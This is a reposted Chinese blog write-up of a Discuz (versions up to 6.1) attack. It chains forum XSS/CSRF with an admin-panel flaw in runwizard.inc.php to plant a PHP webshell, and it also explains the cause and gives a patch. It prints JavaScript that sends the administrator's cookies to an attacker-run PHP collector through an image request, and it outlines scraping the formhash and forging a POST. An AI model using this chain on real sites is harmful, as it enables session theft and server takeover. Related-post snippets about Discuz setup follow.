discuz xss拿shell

Discuz XSS得webshell
By racle @tian6.com
欢迎转帖.但请保留版权信息.
受影响版本:Discuz<=6.1.0,gbk+utf+big5

新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.

3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一… 54794&ptid=8706
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.

分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等…
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS

----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------

problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.

problem2:DISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.

problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.

下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {

    global $runwizardfile, $runwizardhistory;

    $fp = fopen($runwizardfile, 'w');

    fwrite($fp, serialize($runwizardhistory));

    fclose($fp);

}
复制代码serialize(runwizardhistory)runwizardhistory)直接就写进runwizardhistory)直接就写进fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
以下是修补的办法:function saverunwizardhistory() {

    global $runwizardfile, $runwizardhistory;

    $fp = fopen($runwizardfile, 'w');

    $s = '<?php exit;?>';

    $s .= serialize($runwizardhistory);

    fwrite($fp, $s);

    fclose($fp);

}
复制代码加写 ‘<?php exit;?>’;到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.

----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------

以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.

我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.

这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.

首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:

var url=“http://目标网站/admincp.php”;

/获得cookies/

function getURL(s) {

var image = new Image();

image.style.width = 0;

image.style.height = 0;

image.src = s;

}

getURL(“我们做好的接收cookies的.php?x=”+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
复制代码php以get方式接收过来的变量.cookies=cookies=cookies=_GET[‘x’];
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)

原文地址:https://blog.csdn.net/kclax/article/details/90529181

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


**本资源可免费获取,请至尾部读阅!**Discuz素材资源交易论坛整站源码,带数据整站源码打包。包含了导航、企业官网、企业建站、企业SEO等静态页面。论坛采用Discuz3.4,包含PC、手机主题。带30多款插件。站长亲测可以使用,不过还是需要稍微调整一下的,部分链接还是原站的绝对地址,不过这
分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!http://www.captainbed.netDiscuz!是腾讯(Tencent)旗下Comsenz公司推出的以社区为基础的专业建站平台,帮助网站实现一站式服务。让论坛(BBS)、个人空间(SNS)、门户(Portal)
最近工作需要IIS,自己的电脑又是Windows7系统,找了下安装的方法,已经安装成功。一、首先是安装IIS。打开控制面板,找到“程序与功能”,点进去二、点击左侧“打开或关闭Windows功能”三、找到“Internet信息服务”,按照下图打勾即可等待安装完成四、安装完成后,再回到控制面板
首先就是discuz,用起来真的是特别的好用,搭建的网站真的非常美观尤其是用起来之后,我发现功能真的是太强大了,不用到处编写代码,调试什么只需要把精力放在做产品上就可以了,我很好奇为什么会这么强大php的开源产品,比如wordpress也很强大,为什么discuz会如此的让我感到,是一种生态社区,而
1.找到图片路径拼装文件首先打开根目录下的template目录找到首页文件打开后找到图片列表的拼装位置//链接示例:<!--{eval$imagelistkey=getforumimg($pic[aid],0,300,500);}--><imgsrc="$imagelistkey"alt="$thread[subject]"/>然后修改为(客户要求改成缩略图)/
打开NavicatforMySQL找到数据表 pre_ucenter_members 把密码修改为123456789password:047099adb883dc19616dae0ef2adc5b6salt:311254改完就可以登录了:域名/admin.php记得上线后修改密码哦,嘿嘿嘿,鸡你太美!!!---------------------作者:Liu_Cabbage来源:CSDN原文:https://blog.
Discuz论坛基础搭建 第一步:下载XAMPP(Apache+Mysql+PHP+RERL)         下载的xampp-linux-x64-5.5.30-7-installer.run         上传到/home目录下,然后在命令行输入./xampp-linux-x64-5.5.30-7-installer.run,如果报权限问题,      
Discuz!是腾讯旗下Comsenz公司推出的以社区为基础的专业建站平台,帮助网站实现一站式服务。让论坛(BBS)、个人空间(SNS)、门户(Portal)、群组(Group)、应用开放平台(OpenPlatform)充分融合于一体,帮助网站实现一站式服务。Discuz!X3在继承和完善Discuz!X2.5的基础上,针对“系统架构”、
  Discuz迁移是一件较为麻烦的事情网上大多的迁移教程都是利用备份功能进行操作的,其实这种操作并不能保证迁移后完全正常工作本文将介绍直接转移数据库和文件的迁移方法 导出数据库迁移的首要部分就是导出数据库不论你是VPS、独立服务器还是虚拟主机一般都有phpmya
Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆。关于该网站漏洞的细节我们来详细的分析看一下:Discuz漏洞的检测与分析该漏洞发生的位置在于source目录
  Discuz!X3.4升级后,帖子内容使用Unicode编码会出现直接显示源码问题打开:source\function\function_core.php  $string=str_replace(array('&','"','<','>'),array('&','"','<',&
安装discuz直接把安装包拷贝到根目录下然后在浏览器中输入http://localhost/myweb/install/index.php打开安装向导界面,需要修改一下myweb的权限安全属性uploading-image-555335.png把权限打开,然后一直下一步输入数据库的名称和密码adminroot******这步不成功可以看下
原文链接:http://www.cnblogs.com/bwzhangtao/p/4233362.html1<?php2/**3*抽奖4*@paramint$total5*/6functiongetReward($total=1000)7{8$win1=floor((0.12*$total)/100);9$win2=floor((3*$total)/100)
title:Linux搭建Discuz论坛WelcometoFofade'sBlog!这里是Linux搭建论坛的一些命令记录命令摘记:下载文件:Discuz安装环境:PHPApache2Mariadb(类MySQL)PHP-XML测试环境:浏览器查看tomcat页面是否正常,并简易编写一个PHP页面测试数据库操作:创建用户$createuser'name
原文链接:http://www.cnblogs.com/showblog/p/3358038.html取论坛指定版块帖子或回复(first=1就是帖子的1楼,如果=0就是调用回复,fid=62是论坛版块号):SELECT*FROMdiscuzx.pre_forum_postwherefirst=1andfid=62orderbytiddesc 取
LAMP平台概述目前最为成熟的一种企业网站应用模式,可提供动态Web站点应用及开发环境构成组件Linux、Apache、MySQL、PHP/Perl/PythonLAMP的优势成本低廉可定制、易于开发方便易用,安全和稳定一,在Windows上将LAMP所需压缩软件包共享出来(此处如有问题请看之前的博客相关文章)
代码functionlang($file,$langvar=null,$vars=array(),$default=null){echo$file.':'; global$_G; $fileinput=$file; list($path,$file)=explode('/',$file); if(!$file){echo('1-'); $file=$path; $path=
1、首先我们需要登录DZ论坛后台,在全局设置里边,关闭站点,防止网站出现新数据导致备份数据不完整。如图:2、找到站长板块,点击数据库,进行备份。3、按照提示,选择备份类型,点击提交开始进行备份。4、备份完成之后我们可以看到如下图。5、接下来我们需要把整个网站进行压缩打包。6、
实验目录:一、LAMP架构概念二、LAMP结构的安装与配置2-1手工编译安装http服务2-2手工编译安装mysql数据库2-3手工编译安装PHP工具三、安装Discuz论坛(开源论坛)四、小福利一、LAMP架构概念LAMP是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写:
  pre_common_admincp_cmenu后台菜单收藏表字段名数据类型默认值允许非空自动递增备注idsmallint(6)unsigned  NO是 titlevarchar(255)  NO  菜单名称urlvarchar(255)  NO  菜单地址sorttinyint(1) 0 NO  菜单类型,备用